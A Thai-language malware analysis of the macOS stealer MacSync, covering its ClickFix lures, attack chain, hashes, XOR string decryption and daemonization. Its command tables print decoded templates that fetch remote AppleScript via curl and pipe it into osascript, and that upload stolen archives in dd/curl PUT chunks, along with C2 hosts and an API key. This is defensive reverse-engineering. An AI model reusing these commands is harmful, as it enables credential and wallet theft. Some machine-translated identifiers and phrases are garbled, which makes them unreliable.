บทสรุปผู้บริหาร
MacSync Stealer คือตระกูลของมัลแวร์ขโมยข้อมูลและแทรกแซงการเข้าถึงระยะไกลบนระบบปฏิบัติการ macOS ที่ออกแบบมาเพื่อหลีกเลี่ยงการตรวจจับ และจำหน่ายในเชิงพาณิชย์ภายใต้รูปแบบบริการมัลแวร์ (Maalware-as-a-Service หรือ MaaS)
ในห่วงโซ่การโจมตี ไบนารีของ MacSync เป็นตัวจัดเตรียมข้อมูลและเครื่องมือขโมยข้อมูลแบบหลายส่วนโดยธรรมชาติ แทนที่จะเป็นตัวเก็บเกี่ยวข้อมูลแบบเดี่ยวๆ เพย์โหลดเป็นไฟล์ปฏิบัติการ Mach-O 64 บิตขนาดเล็กที่แยกตัวออกจากเซสชันเทอร์มินัลอย่างเงียบๆ โหลดโมดูลดัมพ์ข้อมูลประจำตัวโดยตรงไปยังหน่วยความจำ และขโมยข้อมูลประจำตัวที่ถูกขโมยกลับไปยังโครงสร้างพื้นฐานของแคมเปญได้อย่างน่าเชื่อถือ
MacSync นั้นให้บริการเป็นหลักผ่านทาง คลิกแก้ไข การหลอกลวงทางสังคมและการโฆษณาที่เป็นอันตรายในเครื่องมือค้นหา มันใช้กลยุทธ์การดำเนินการแบบโมดูลาร์หลายระดับเพื่อหลีกเลี่ยง Apple Gatekeeper, XProtect และ endpoint detection and response (อีดีอาร์) เครื่องมือต่างๆ ที่ช่วยลดการใช้พื้นที่ดิสก์ให้น้อยที่สุด
- การทำให้เซสชั่นลับกลายเป็นปีศาจ: เมื่อเริ่มทำงาน MacSync จะตัดการเชื่อมต่อจากเซสชันเทอร์มินัลที่ควบคุมโดยใช้การเรียกใช้ระบบ POSIX fork() และ setsid() จากนั้นจะเปลี่ยนไปใช้ PID 1 (launchd) และเปลี่ยนเส้นทาง stdin, stdout และ stderr ไปยัง /dev/null เพื่อไม่ให้ข้อความแสดงข้อผิดพลาดและเอาต์พุตของกระบวนการปรากฏในคอนโซล
- การเข้ารหัสลับแบบ XOR ไบต์เดียวโดยใช้เทมเพลตเพื่อหลีกเลี่ยงลายเซ็นคงที่และการดึงสตริงอัตโนมัติ ไบนารีของ MacSync จะซ่อนสตริงการทำงาน (รวมถึงเอนด์พอยต์ C2 อาร์กิวเมนต์บรรทัดคำสั่ง ส่วนหัว API และเส้นทางไฟล์ชั่วคราว) โดยใช้คลาสเทมเพลต C++ แบบอินไลน์ (ObfuscatedString) ในระหว่างการทำงาน ไบนารีจะถอดรหัสสตริงเหล่านี้ลงในบัฟเฟอร์สแต็กภายในโดยใช้การดำเนินการ XOR แบบไบต์เดียว
- ไปป์ไลน์ AppleScript แบบไดนามิกในหน่วยความจำ: ตัวสร้างมัลแวร์นี้หลีกเลี่ยงการเขียนสคริปต์ดัมพ์ข้อมูลประจำตัวลงดิสก์ แต่จะเชื่อมต่อกับเซิร์ฟเวอร์ C2 ผ่าน HTTPS โดยใช้ส่วนหัวแบบกำหนดเอง (เช่น api-key: และโทเค็นแคมเปญ) และส่งการตอบกลับไปยัง /usr/bin/osascript โดยตรงผ่านทาง stdin วิธีนี้ช่วยให้ผู้โจมตีสามารถอัปเดตเพย์โหลดขโมยข้อมูลบนฝั่งเซิร์ฟเวอร์ได้โดยไม่ต้องคอมไพล์ไบนารีไคลเอ็นต์ใหม่
- การดึงข้อมูลแบบแบ่งเป็นส่วนๆ ที่ทนต่อข้อผิดพลาด ขนาด 10 MB: เพื่อถ่ายโอนไฟล์เก็บข้อมูลขนาดใหญ่ที่ถูกขโมยมา (ซึ่งประกอบด้วยข้อมูลสำคัญของเบราว์เซอร์, Keychain ของระบบ และฐานข้อมูลกระเป๋าเงินดิจิทัล) MacSync จะแบ่งไฟล์ออกเป็นส่วนย่อยขนาด 10 MB จากนั้นจะใช้ยูทิลิตี้ dd ในตัวเพื่อแยกแต่ละส่วนและอัปโหลดทีละส่วนผ่านคำขอ HTTP PUT โดยใช้การหน่วงเวลาแบบทวีคูณเพื่อลองถ่ายโอนใหม่หากการถ่ายโอนล้มเหลว
- สารป้องกันการตรวจสอบทางนิติวิทยาศาสตร์แบบทำความสะอาดตัวเอง: ตัวจัดการไฟล์ชั่วคราวจะลบไฟล์ชั่วคราวบนดิสก์ทันที เมื่อเซิร์ฟเวอร์ C2 ส่งการตอบกลับ HTTP 200 ที่ยืนยันการอัปโหลดแบบแบ่งส่วนแล้ว มัลแวร์จะลบไฟล์สถานะในเครื่อง (/tmp/.httpcode) และไฟล์เก็บถาวรที่จัดเตรียมไว้ (/tmp/osalogging.zip)
แหล่งที่มาของผู้ก่อภัยคุกคามและระบบนิเวศของมัลแวร์ในรูปแบบบริการ (MaaS)
MacSync ปรากฏตัวครั้งแรกในปี 2025 โดยมีรายงานสาธารณะเชื่อมโยงกับ Mac.C Stealer รุ่นก่อนหน้า และผู้พัฒนาใช้ชื่อว่า “Mentalpositive” Threat intelLigence ติดตาม MacSync ในฐานะปฏิบัติการ Malware-as-a-Service (MaaS) ซึ่งให้บริการมัลแวร์และโครงสร้างพื้นฐานสนับสนุนแก่อาชญากรไซเบอร์รายอื่น ๆ
หลักฐานแสดงให้เห็นถึงการแยกส่วนที่ชัดเจนระหว่างการพัฒนาซอฟต์แวร์มัลแวร์และการดำเนินงานแคมเปญ บิลด์ MacSync มักมีตัวระบุเฉพาะสำหรับการใช้งาน ในขณะที่แคมเปญต่างๆ อาศัยการตั้งค่าการส่งมอบที่จัดการอย่างอิสระและโครงสร้างพื้นฐานแบ็กเอนด์ที่หมุนเวียน CIS ระบุแท็กบิลด์ s3 ที่เชื่อมโยงกับบิลด์พันธมิตร และต่อมา Microsoft ได้เชื่อมโยงโดเมนมากกว่า 30 โดเมนโดยอิงจากเส้นทาง URI ที่เกิดขึ้นซ้ำๆ ลักษณะการร้องขอ ส่วนหัวของคีย์ API และพฤติกรรมการขโมยข้อมูล
การแพร่กระจายของ MacSync อาศัยวิธีการทางสังคมเป็นหลัก มากกว่าการใช้ช่องโหว่ของซอฟต์แวร์ แคมเปญต่างๆ จะส่งมัลแวร์ผ่านการโฆษณาที่เป็นอันตราย การโจมตี SEO เว็บไซต์ที่ถูกบุกรุก ซอฟต์แวร์ปลอม และโปรแกรมติดตั้ง AI ปลอม รวมถึงหน้าเว็บ ClickFix ที่หลอกล่อเหยื่อให้รันคำสั่งใน Terminal
แม้ว่างานวิจัยสาธารณะจะพบร่องรอยการพัฒนาภาษารัสเซียในตัวอย่าง MacSync บางตัวอย่าง แต่ร่องรอยเหล่านี้ยังไม่เพียงพอที่จะระบุว่ามัลแวร์นั้นมาจากผู้ก่อภัยคุกคามหรือกลุ่มอาชญากรใดโดยเฉพาะ
โครงสร้างพื้นฐานที่เกี่ยวข้องเป็นไปตามรูปแบบพฤติกรรมบางอย่างซึ่งจะยังคงใช้ได้ไม่ว่าโดเมนจะหมุนเวียนไปอย่างไรก็ตาม พฤติกรรมที่แสดงโดยตัวอย่างและตัวโหลด MacSync รวมถึงคำขอ C2 ที่ส่งไปยัง /dynamic?txd= โดยมีการตั้งค่า API-key ในส่วนหัว รวมถึงการรวบรวมข้อมูลในเครื่องก่อนอัปโหลดผ่านทาง /gate?buildtxd= โดยมีพารามิเตอร์ upload_id, chunk_index และ total_chunks
แคมเปญพันธมิตร: การจัดส่งของ ClickFix
MacSync มักถูกเผยแพร่ผ่านแคมเปญ ClickFixที่มุ่งเป้าไปที่ผู้ใช้ macOS แทนที่จะใช้ประโยชน์จากช่องโหว่ของซอฟต์แวร์ การโจมตีเหล่านี้อาศัยวิศวกรรมสังคมเพื่อหลอกล่อเหยื่อให้คัดลอกและเรียกใช้คำสั่งใน Terminal ภายใต้หน้ากากของโปรแกรมติดตั้งซอฟต์แวร์ การตรวจสอบ CAPTCHA ข้อผิดพลาดในการดาวน์โหลด หรือข้อความแจ้งเตือนการแก้ไขปัญหา
แม้ว่ารายงานสาธารณะจะอธิบายถึงแคมเปญ ClickFix ของ MacSync หลายแคมเปญที่มีการเปลี่ยนแปลงรูปแบบการล่อลวง การตั้งค่าการส่ง และเพย์โหลด แต่หลักฐานในปัจจุบันยังไม่แสดงให้เห็นว่าแคมเปญทั้งหมดมาจากผู้ก่อภัยคุกคามรายเดียวกัน หรือว่าโครงสร้างพื้นฐานของ MacSync ดำเนินการโดยตรงภายใต้ ClearFake
ClearFake / เครือข่ายกระจายปริมาณการใช้งาน (TDS)
กลุ่มพันธมิตรใช้ระบบกระจายการเข้าชม (Traffic Distribution Systems หรือ TDS) เช่น Keitaro TDS ในเว็บไซต์และเครือข่ายโฆษณาที่ถูกบุกรุก เพื่อกำหนดเส้นทางการเข้าชมตามระบบปฏิบัติการ โดยการตรวจสอบ User-Agent ของเบราว์เซอร์ TDS จะเปลี่ยนเส้นทางผู้เข้าชมจาก Windows ไปยังเครือข่ายที่แจกจ่ายLummaC2 , StealcหรือVidarในขณะที่ส่งผู้เข้าชมจาก macOS ไปยัง ช่องทางแพร่เชื้อ MacSync ClickFix
กลลวงทางสังคมและการแอบอ้างแบรนด์
แคมเปญของ MacSync เลียนแบบเครื่องมือยอดนิยมด้านการทำงาน การส่งข้อความ และการพัฒนาซอฟต์แวร์ เพื่อเจาะกลุ่มเป้าหมายที่เป็นมืออาชีพ:
| แบรนด์/ธีมที่แอบอ้าง | สถานการณ์ล่อลวงที่หลอกลวง | ข้อมูลประชากรเป้าหมาย |
| Google Meet / Zoom | “ข้อผิดพลาดไมโครโฟน/เสียง: คลิก แก้ไข เพื่อซ่อมแซมไดรเวอร์เสียง macOS ของคุณ” | พนักงานบริษัทที่ทำงานจากระยะไกล, ผู้สมัครงานตกเป็นเหยื่อของการหลอกลวงในการสัมภาษณ์งาน |
| Claude AI / ChatGPT | “ดาวน์โหลด Claude AI Desktop สำหรับ macOS / แก้ไขปัญหาการเชื่อมต่อ WebSockets” | วิศวกรซอฟต์แวร์ นักวิจัย AI นักวิทยาศาสตร์ข้อมูล |
| คลาวด์แฟลร์ / เทิร์นสไทล์ | “ยืนยันว่าคุณเป็นมนุษย์: เปิดเทอร์มินัลและวางรหัสยืนยัน” | ปริมาณการเข้าชมเว็บไซต์ทั่วไป, นักเทรดคริปโต, ผู้ใช้งานฟอรัม |
| ด็อคเกอร์ / โนชั่น / เคอร์เซอร์ | โฆษณา Google Search ที่ปนเปื้อน เสนอโปรแกรมติดตั้งเดสก์ท็อปปลอม | นักพัฒนาซอฟต์แวร์, วิศวกร DevOps, หัวหน้าทีมเทคโนโลยี |
| TradingView / แอปพลิเคชันคริปโต | “อัปเดตโปรแกรมสร้างกราฟของคุณเพื่อดูข้อมูลตลาดแบบเรียลไทม์” | นักลงทุนคริปโตที่มีสินทรัพย์สุทธิสูง นักลงทุน DeFi |
การวัดระยะทางทางภูมิศาสตร์ทั่วโลกและผลกระทบต่ออุตสาหกรรม
การติดตามตำแหน่งทางภูมิศาสตร์
Threat intelรายงานการตรวจสอบแสดงให้เห็นว่าแคมเปญ MacSync มุ่งเป้าไปที่ภูมิภาคที่มีการใช้งาน macOS ในองค์กรอย่างแพร่หลาย ภาคเทคโนโลยีและการพัฒนาซอฟต์แวร์ และชุมชนสกุลเงินดิจิทัลหรือ Web3 ที่มีความเคลื่อนไหวอย่างมาก ข้อมูลทางไกลในเดือนสิงหาคม 2026 แสดงให้เห็นว่าสหรัฐอเมริกาเป็นประเทศที่มีการตรวจพบมากที่สุด รองลงมาคือสหราชอาณาจักร เยอรมนี ญี่ปุ่น แคนาดา ฝรั่งเศส สิงคโปร์ ออสเตรเลีย อินเดีย และเนเธอร์แลนด์ รวมถึงประเทศในกลุ่มนอร์ดิก

กลุ่มอุตสาหกรรมเป้าหมาย
| ภาคอุตสาหกรรม | บทบาทเป้าหมายหลัก | สินทรัพย์มูลค่าสูง | เวกเตอร์ภัยคุกคาม / เหยื่อล่อ | ผลกระทบในการดำเนินงาน |
| วิศวกรรมซอฟต์แวร์และสตาร์ทอัพด้านเทคโนโลยี | นักพัฒนา Full-Stack, วิศวกร DevOps, นักวิจัย AI | คีย์ส่วนตัว SSH, โทเค็น AWS/GCP, ข้อมูลรับรอง GitHub/GitLab, ไฟล์ .env | มัลแวร์โฆษณาแอบอ้างเป็น Claude AI, Cursor IDE, Docker Desktop และ Notion | การเข้ายึดครองระบบคลาวด์ การขโมยซอร์สโค้ด การรั่วไหลของห่วงโซ่อุปทาน |
| คริปโตเคอร์เรนซีและเว็บ3 | นักพัฒนาบล็อกเชน, เทรดเดอร์ DeFi, สมาชิก DAO, ผู้จัดการกองทุน | ข้อมูลจาก MetaMask, Phantom, Coinbase, TronLink vault; ไฟล์กระเป๋าเงิน Exodus/Electrum | ลิงก์การประชุม Web3 ปลอม และกลลวงการอัปเดต TradingView | การขโมยเงินในกระเป๋าเงินดิจิทัล การโอนโทเค็นโดยไม่ได้รับอนุญาต การขโมยกุญแจสัญญาอัจฉริยะ |
| พนักงานที่ทำงานจากระยะไกลขององค์กร | ผู้บริหารระดับสูง, ฝ่ายทรัพยากรบุคคล, ฝ่ายขายและการตลาด | ข้อมูล Keychain ของ macOS, โทเค็น Slack/Discord, เซสชัน Google Workspace/Okta | การแก้ไขไมโครโฟนหรือกล้องปลอมใน Google Meet/Zoom | การโจรกรรมข้อมูลส่วนบุคคล การใช้คุกกี้เซสชันในทางที่ผิด การเปลี่ยนเส้นทางเครือข่ายภายใน |
| ผู้รับเหมาภาครัฐและกลาโหม | เจ้าหน้าที่และผู้รับเหมาของ SLTT | ข้อมูลประจำตัวสำหรับพอร์ทัลของภาครัฐ โปรไฟล์ VPN ข้อมูลประจำตัวของพนักงาน | การโฆษณาที่เป็นอันตรายผ่านเครื่องมือค้นหา เว็บไซต์ของเทศบาลที่ถูกบุกรุก | การเข้าถึงข้อมูลของเทศบาลโดยไม่ได้รับอนุญาต การเปิดเผยข้อมูลสำคัญของประชาชน |
| ฟินเทคและบริการทางการเงิน | นักวิเคราะห์ทางการเงิน, นักลงทุนเชิงปริมาณ, นักบัญชี | โทเค็นเซสชันธนาคาร ข้อมูลประจำตัวบัญชี ข้อมูลบัตรชำระเงิน | โปรแกรมดูใบแจ้งหนี้ปลอม, วิธีแก้ไขปัญหาการแสดงผล PDF | การฉ้อโกงทางการเงิน การโอนเงินทางอิเล็กทรอนิกส์ของบริษัทโดยไม่ได้รับอนุญาต |
ห่วงโซ่การโจมตี MacSync

- การติดเชื้อครั้งแรก (เทคนิค ClickFix): ผู้สร้างมัลแวร์ใช้การโฆษณาที่เป็นอันตรายบนเครื่องมือค้นหาที่เหยื่อค้นหาซอฟต์แวร์บางอย่าง เมื่อพวกเขาเข้าไปที่หน้าเว็บที่เป็นอันตราย (เช่น หน้าเว็บปลอม) คลอดด์ เอ.ไอ แชทบอท การอัปเดตความปลอดภัยของ Apple, โปรแกรมติดตั้งกระเป๋าเงินคริปโตซึ่งจะแสดงข้อความแสดงข้อผิดพลาดโดยขอให้เหยื่อเรียกใช้คำสั่งในหน้าต่างเทอร์มินัล (curl -s … | zsh)
- ขั้นตอนที่ 1 (สคริปต์เชลล์): สคริปต์ที่เป็นอันตรายจะทำงานในสภาพแวดล้อมเทอร์มินัลและเริ่มกระบวนการทำงานเบื้องหลังทันที
- ขั้นตอนที่ 2 (ข้อมูลแบบ Base64): สคริปต์ wrapper จะคลายการบีบอัด payload พื้นหลัง (daemon_function) ที่เรียกใช้ stager ไบนารี Mach-O ดั้งเดิม (ตัวอย่างของเรา: com.utils.Launcher)
- ขั้นตอนที่ 3 (ตัวขโมย AppleScript แบบไดนามิก): ไฟล์ไบนารีจะทำการสอบถามไปยัง /dynamic?txd=… บนเซิร์ฟเวอร์ C2 ด้วยส่วนหัวแบบกำหนดเอง (api-key: de62a2f4…) และส่งข้อมูลนั้นไปยัง osascript โดยตรง AppleScript จะร้องขอรหัสผ่านระบบของผู้ใช้ ขโมยข้อมูล keychain ทั้งหมด และดัมพ์ฐานข้อมูล คุกกี้เซสชัน คีย์ SSH เซสชัน Telegram และกระเป๋าเงินคริปโตไปยังปลายทาง /tmp/osalogging.zip.
- ขั้นตอนที่ 4 (RAT ที่มีความต่อเนื่อง): เพย์โหลดจะเรียกใช้ Mach-O RAT อีกตัวหนึ่ง ซึ่งจะคงอยู่ในไดเร็กทอรี ~/Library/LaunchAgents/ โดยเปลี่ยนชื่อตัวเองเป็น com.google.keystone.plist หรือ com.apple.sync.plist
- ขั้นตอนที่ 5 (ผู้ช่วย TCC): ใช้โปรแกรมช่วยลงนามแบบเฉพาะกิจเพื่อร้องขอและบันทึกสิทธิ์สำหรับ การบันทึกหน้าจอ macOS.
- ขั้นตอนที่ 6 (การดึงข้อมูลออกและการกำจัดสิ่งแปลกปลอม): โปรแกรม Mach-O นี้ตรวจพบการมีอยู่ของไฟล์ /tmp/osalogging.zip และทำการแตกไฟล์นั้นออกเป็นส่วนย่อยๆ 10 MB (0xA00000 ไบต์) โดยใช้ dd ส่งข้อมูลโดยใช้ HTTP PUT ไปยัง /gate?buildtxd=…และลบออก /tmp/osalogging.zip และ /tmp/.httpcode.
โฟลว์การดำเนินการไบนารี
ภาพด้านล่างแสดงแผนผังวงจรการทำงานทั้งหมดของไบนารี MacSync stager ตั้งแต่การเริ่มต้นทำงานจนถึงการล้างข้อมูลขั้นสุดท้าย

การระบุไฟล์และข้อมูลเมตาแบบคงที่

คุณสมบัติไฟล์คงที่
| คุณลักษณะ | ค่าคงที่ | หมายเหตุ : |
| ชื่อไฟล์ | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | การตั้งชื่อแฮช SHA-256 |
| รูปแบบไฟล์ | ไฟล์ปฏิบัติการ Mach-O 64 บิต x86_64 | ไบนารีแบบบาง (สถาปัตยกรรมเดี่ยว) |
| เวทมนตร์มาคโอ | 0xFEEDFACF (MH_MAGIC_64) | ส่วนหัว Mach-O 64 บิต |
| ประเภท/ชนิดย่อยของ CPU | CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) | สถาปัตยกรรม Intel 64 บิต |
| ขนาดไฟล์ | ไบต์ 38,800 | 0x9790 ไบต์ |
| MD5 | 9678f71ea4cccbc3d511dc8d7f24b113 | แฮชเข้ารหัสลับ |
| SHA-1 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | แฮชเข้ารหัสลับ |
| SHA-256 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | แฮชตัวอย่างหลัก |
| แฟล็กการคอมไพล์ | PIE, TWOLEVEL, BINDS_TO_WEAK, WEAK_DEFINES, NOUNDEFS | ตำแหน่งอิสระที่สามารถดำเนินการได้ |
| ที่อยู่ทางเข้า | 0x100000e30 (_main) | ส่วน __ข้อความ.__ข้อความ |
รายละเอียดการลงนามรหัส

| คุณลักษณะ | ความคุ้มค่า | หมายเหตุ : |
| สถานะลายเซ็น | ลงนามแบบเฉพาะกิจ (แฟล็ก = 0x2 (adhoc)) | ไม่มีลายเซ็น Developer ID ที่ออกโดย Apple |
| รหัสประจำตัวผู้ลงนาม | คอม.ยูทิลิตี้.ตัวเรียกใช้งาน | ตัวระบุการลงนามรหัสแบบฝังตัว |
| ซีดีแฮช | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | แฮชไดเร็กทอรีโค้ด |
| ซีเอ็มเอสดีเกสต์ | d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 | สรุปการลงนามรหัส |
| ตัวระบุทีม | ไม่ได้ตั้งค่า | ไม่มี Apple Developer Team ID; แสดงว่าเป็นการลงนามแบบเฉพาะกิจ |
การปกปิดสตริงและการกู้คืนคีย์
การวิศวกรรมย้อนกลับของกลไกการเข้ารหัส
การวิเคราะห์สตริงแบบคงที่ที่ดำเนินการกับไฟล์ไบนารีเปล่า ไม่พบ URL เส้นทางไฟล์ หรือการอ้างอิงคำสั่งใดๆ ที่เขียนอย่างชัดเจน การอ้างอิงถึง _main ให้ผลลัพธ์เป็นการอ้างอิงถึงคลาสเทมเพลต C++ จำนวน 19 รายการ:
| คุณลักษณะ | ความคุ้มค่า |
| สัญลักษณ์ที่บิดเบี้ยว | __ZNK16ObfuscatedStringILm…EE7decryptEv |
| สัญลักษณ์ที่ถูกคลายออก | สตริงที่ถูกปกปิด ::ถอดรหัส() const |
| ช่วงที่อยู่ | 0x100002350 - 0x100002740 |

ระบุคีย์ XOR แบบไบต์เดียว: 0xAA (เลขฐานสิบ: 170, เลขฐานสอง: 10101010)

เพื่อถอดรหัสสตริงไบต์ที่เข้ารหัสทั้งหมดโดยไม่ทราบข้อความต้นฉบับล่วงหน้า จะมีการเรียกใช้สคริปต์แบบสแตนด์อโลนต่อไปนี้:

ผลลัพธ์ของโปรแกรมถอดรหัส

การถอดรหัสสตริง XOR และรูปแบบการจัดเก็บ & รูปแบบการจัดเก็บ
การดำเนินการ XOR ด้วยฮาร์ดแวร์ (/tmp/.httpcode)
ตารางต่อไปนี้แสดงการดำเนินการจริงที่เกิดขึ้นภายในรีจิสเตอร์ CPU ecx (xor ecx, 0xaa) สำหรับเส้นทางไฟล์สถานะที่ 0x100002a2e
| ไบต์ # | เลขฐานสิบหกที่เข้ารหัส | คีย์ XOR | เลขฐานสิบหกที่ถอดรหัสแล้ว | คาแรคเตอร์ |
| 0 | 0x85 | 0xAA | 0x2F | / |
| 1 | 0xDE | 0xAA | 0x74 | t |
| 2 | 0xC7 | 0xAA | 0x6D | m |
| 3 | 0xDA | 0xAA | 0x70 | p |
| 4 | 0x85 | 0xAA | 0x2F | / |
| 5 | 0x84 | 0xAA | 0x2E | . |
| 6 | 0xC2 | 0xAA | 0x68 | h |
| 7 | 0xDE | 0xAA | 0x74 | t |
| 8 | 0xDE | 0xAA | 0x74 | t |
| 9 | 0xDA | 0xAA | 0x70 | p |
| 10 | 0xC9 | 0xAA | 0x63 | c |
| 11 | 0xC5 | 0xAA | 0x6F | o |
| 12 | 0xCE | 0xAA | 0x64 | d |
| 13 | 0xCF | 0xAA | 0x65 | e |
| 14 | 0xAA | 0xAA | 0x00 | \0 |
โฟลเดอร์ /tmp/osalogging.zip ถูกสร้างขึ้นโดยใช้ค่าคงที่ในสแต็กและการถอดรหัสแบบ XOR
การวิศวกรรมย้อนกลับ _หลัก – โครงสร้างหน่วยความจำและการทำงานเบื้องหลัง
การสร้าง URL / การเตรียมปลายทาง ตัวอย่างนี้จะโหลดส่วนของสตริงที่เกี่ยวข้องกับ URL หลายส่วน (เช่น https, http, asia., usa.) ลงในตัวแปรสแต็กภายใน จากนั้นจะจัดสรรบัฟเฟอร์ภายในขนาด 128 ไบต์เพื่อสร้างสตริงนั้น การมีอยู่ของส่วนของโดเมนภูมิภาคและรูปแบบ HTTP(S) หมายความว่าปลายทางเครือข่ายจะถูกสร้างหรือเลือกในระหว่างการทำงาน ซึ่งจำกัดการมองเห็น URL แบบเต็มในการวิเคราะห์แบบคงที่

การทำให้กระบวนการทำงานเป็นแบบ Daemon และการซ่อนสตรีม (0x100000e30 – 0x100000f54)

- การทำงานของ _Fork() (0x100000e69): กระบวนการหลักเสร็จสิ้นอย่างราบรื่นโดยการส่งค่าคืนเป็น 0 และออกจากระบบทันทีโดยส่งการควบคุมกลับไปยังเทอร์มินัล ในขณะนั้น กระบวนการลูกจะถูกกำหนดให้เป็นกระบวนการหลักอีกครั้งโดย launchd ซึ่งทำงานด้วย PID 1
- _Setsid() การสร้างเซสชัน (0x100000eb7): กระบวนการลูกแยกตัวออกจากเทอร์มินัลควบคุม ขั้นตอนนี้ทำให้มั่นใจได้ว่ากระบวนการนั้นจะไม่ผูกติดกับเซสชันใดๆ อีกต่อไป
- การระงับสตรีม (0x100000efe – 0x100000f48): กระบวนการลูกจะเปลี่ยนเส้นทางการรับข้อมูล การส่งออกข้อมูลมาตรฐาน และข้อผิดพลาดมาตรฐานไปยัง /dev/null โดยใช้การเรียก _freopen() สามครั้ง แต่ละครั้งจะจัดการสตรีมหนึ่งรายการ ทำให้กิจกรรมการส่งออกหรือรับข้อมูลทั้งหมดเงียบลง
วิศวกรรมย้อนกลับ _หลัก – การสำรวจ C2 แบบไดนามิกและ AppleScript ในหน่วยความจำ
การถอดรหัสไบนารีดิบระดับสูงด้วย Ninja IL (0x100001070 – 0x100001300)

- 0xc8 ในภาษาแอสเซมบลีคือค่าเลขฐานสิบ 200 (HTTP 200 OK)
- sub_100001e20() เก็บเทมเพลตคำสั่งที่ถอดรหัสแล้ว: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
- AppleScript จะถูกส่งโดยตรงจาก curl ไปยัง osascript โดยไม่ต้องมีไฟล์สคริปต์ตัวกลาง โดยจะถูกส่งต่อจาก curl ไปยังไบนารี /usr/bin/osascript ของ Apple ผ่านทางอินพุตมาตรฐาน
คุณลักษณะการกำหนดค่าแบบคงที่:
| คุณลักษณะ | ความคุ้มค่า |
| โทเค็นแคมเปญ (txd) | c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 |
| โทเค็นการตรวจสอบสิทธิ์ประตู | api-key: de62a2f47d1c7dec2997f931a050a615 |
| โฮสต์หลัก | drivinguber.com |
| โฮสต์สำรอง | newsinweb.com |
| คำนำหน้าตามภูมิภาค | เอเชีย / สหรัฐอเมริกา |
ขั้นตอนการทำงานของไปป์ไลน์การดำเนินการ
- แบบสอบถามสุขภาพเบื้องต้น (drivinguber.com):

- การประเมินสถานะ: อ่านไฟล์ /tmp/.httpcode ผ่าน _fscanf(“%d”, &code) และลบลิงก์ออกจาก /tmp/.httpcode
- การประมวลผลไปป์ในหน่วยความจำ (0x10000128e): ถ้าโค้ดเท่ากับ 200 (0xC8) ระบบจะจัดรูปแบบและรันโปรแกรม:

- การหมุนเวียนสำรอง: หากเว็บไซต์หลักล้มเหลว จะวนซ้ำไปยัง [https, http] [asia., usa.] โดยใช้ newsinweb.com เป็นฐาน
กลไกการแบ่งข้อมูลแบบ Chunking ขนาด 10MB และ System V ABI

- การตรวจสอบเป้าหมาย: เรียกใช้ _stat$INODE64(“/tmp/osalogging.zip” &stat_buf) หากไม่มีไฟล์อยู่หรือขนาดเป็นศูนย์ การทำงานจะสิ้นสุดลงอย่างถูกต้อง (ส่งค่าคืน 0)
- การหารจำนวนเต็มบนเพดาน:จำนวน Chunk ทั้งหมดเท่ากับค่าปัดลงของ (ขนาดไฟล์บวก 0x9FFFFF หารด้วย 0xA00000) (ขนาด Chunk คงที่คือ 0xA00000 ซึ่งเท่ากับ 10,485,760 ไบต์ หรือ 10 เมกะไบต์)
- รหัสระบุเซสชัน: สร้างโดยใช้ snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand())
อัลกอริทึมการลองใหม่แบบปรับตัวได้ (Adaptive Backoff Retry Algorithm)

สามารถลองใหม่ได้สูงสุด 8 ครั้ง โดยใช้การปรับระยะเวลาหน่วง: ระยะเวลาหน่วง = (ดัชนีการลองใหม่ × 2) + 3 วินาที (5 วินาที, 7 วินาที, 9 วินาที, 11 วินาที, 13 วินาที, 15 วินาที, 17 วินาที, 19 วินาที)
คำสั่งเชลล์ที่เรียกใช้ผ่าน _system()
| # | การดำเนินการ | แม่แบบรูปแบบที่ถอดรหัสแล้ว | จุดมุ่งหมาย |
| 1 | เครื่องตรวจวัดสุขภาพ C2 | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null | ตรวจสอบความพร้อมใช้งานของ C2 และบันทึกรหัสสถานะ HTTP ไว้ใน /tmp/.httpcode |
| 2 | เครื่องสร้างภาพความทรงจำขั้นที่ 3 | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript | ดาวน์โหลดโปรแกรมขโมย AppleScript จากระยะไกลและเรียกใช้งานผ่าน osascript |
| 3 | ขั้นตอนที่ 6 การระบายออกเป็นส่วนๆ | dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … | แบ่งไฟล์ /tmp/osalogging.zip ออกเป็นส่วนๆ ขนาด 10 MB แล้วอัปโหลดแต่ละส่วนผ่าน HTTP PUT |
การดำเนินการกระบวนการและไฟล์ POSIX ดั้งเดิม
| # | ประเภทการดำเนินงาน | การเรียกใช้ API ดั้งเดิม | เป้าหมาย (Target) | วัตถุประสงค์การดำเนินงาน |
| 6 | โปรเซสฟอร์ก | _ส้อม() | N / A | กระบวนการหลักจะปิดตัวลงทันทีเพื่อตัดการเชื่อมต่อจากเทอร์มินัล |
| 7 | ยกเลิกการเชื่อมต่อเซสชัน | _setsid() | N / A | สร้างเซสชันแยกต่างหากใหม่; กระบวนการลูกจะกลายเป็นเดมอนอิสระ |
| 8 | การพรางสตรีม | _freopen(“/dev/null”, “r”, *___stdinp) | / dev / null | ปิดเสียงอินพุตมาตรฐาน |
| 9 | การพรางสตรีม | _freopen(“/dev/null”, “w”, *___stdoutp) | / dev / null | ปิดเสียงเอาต์พุตมาตรฐานจาก curl และ osascript |
| 10 | การพรางสตรีม | _freopen(“/dev/null”, “w”, *___stderrp) | / dev / null | ปิดเสียงข้อผิดพลาดมาตรฐานเพื่อป้องกันการแจ้งเตือนที่หน้าจอเทอร์มินัล |
| 11 | การตรวจสอบไฟล์ | _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) | /tmp/osalogging.zip | ตรวจสอบว่าไฟล์ข้อมูลที่รวบรวมไว้มีอยู่จริงและมีขนาดเท่าใดก่อนทำการอัปโหลด |
| 12 | การล้างสถานะ | _unlink(“/tmp/.httpcode”) | /tmp/.httpcode | ลบไฟล์รหัสสถานะ HTTP ชั่วคราวหลังจากประเมินผลเสร็จสิ้น |
